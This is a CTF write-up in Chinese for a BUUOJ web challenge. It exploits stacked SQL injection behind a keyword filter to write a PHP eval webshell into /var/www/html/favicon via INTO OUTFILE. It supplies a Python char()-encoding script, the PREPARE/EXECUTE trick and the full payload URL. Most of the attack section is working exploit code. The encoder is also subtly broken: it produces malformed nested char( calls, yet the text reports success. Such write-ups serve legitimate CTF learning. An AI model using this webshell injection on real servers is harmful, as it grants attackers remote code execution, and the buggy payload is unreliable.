堆叠注入+sql文件写入
    简单测试一下,题目会把 关键字 替换成 @@
    看到注册信息和登录,很容易猜想到是二次注入
    但是,8行
    进入之后发现用户信息这里存在着注入
    我们随意修改 ?id=1 的值,发现可以任意访问用户,说明这里存在越权
    经过测试这里存在 bool,二次,异或等注入,但是关键词都被过滤了
    ![%RPV}YU)XA}L7`[JQ)%QOY.png](https://cdn.nlark.com/yuque/0/2021/png/528570/1616233551120-241b7134-7ff2-41e6-8809-2ce911419c7b.png#height=258&id=bDXXV&margin=%5Bobject%20Object%5D&name=%25RPV%7DYU%29XA%7DL7%60%5BJQ%29%25QOY.png&originHeight=511&originWidth=1010&originalType=binary&ratio=1&size=169413&status=done&style=none&width=509)
    ;能使用并且无报错,可能可以使用堆叠注入
    ![J{Y0B_JL%~0)_6DUQ9_I{X.png
    select union | & 这些都被过滤了
    可以尝试使用 char() 绕过
    我们需要写入

    1. select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/favicon/shell.php';

    将其 十进制编码

    1. str = "select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/favicon/shell.php';"
    2. len_str = len(str)
    3. for i in range(0,len_str):
    4. if i==0:
    5. print('char(%s'%ord(str[i]),end="")
    6. else:
    7. print(',char(%s'%ord(str[i]),end="")
    8. print(')')

    将结果写入系统
    这里要用到 mysql 预处理语句

    1. set @sql = concat('create table ',newT,' like ',old);
    2. prepare s1 from @sql;
    3. execute s1;
    http://59ab49c9-c6fb-453b-ae9b-52b8e66afef9.node3.buuoj.cn/user/user.php?id=2;set @sql=char(115,char(101,char(108,char(101,char(99,char(116,char(32,char(39,char(60,char(63,char(112,char(104,char(112,char(32,char(101,char(118,char(97,char(108,char(40,char(36,char(95,char(80,char(79,char(83,char(84,char(91,char(49,char(93,char(41,char(59,char(63,char(62,char(39,char(32,char(105,char(110,char(116,char(111,char(32,char(111,char(117,char(116,char(102,char(105,char(108,char(101,char(32,char(39,char(47,char(118,char(97,char(114,char(47,char(119,char(119,char(119,char(47,char(104,char(116,char(109,char(108,char(47,char(102,char(97,char(118,char(105,char(99,char(111,char(110,char(47,char(115,char(104,char(101,char(108,char(108,char(46,char(112,char(104,char(112,char(39,char(59);prepare query from @sql;execute query;
    

    然后我们就可以访问 /favicon/shell.php ,成功上传一句话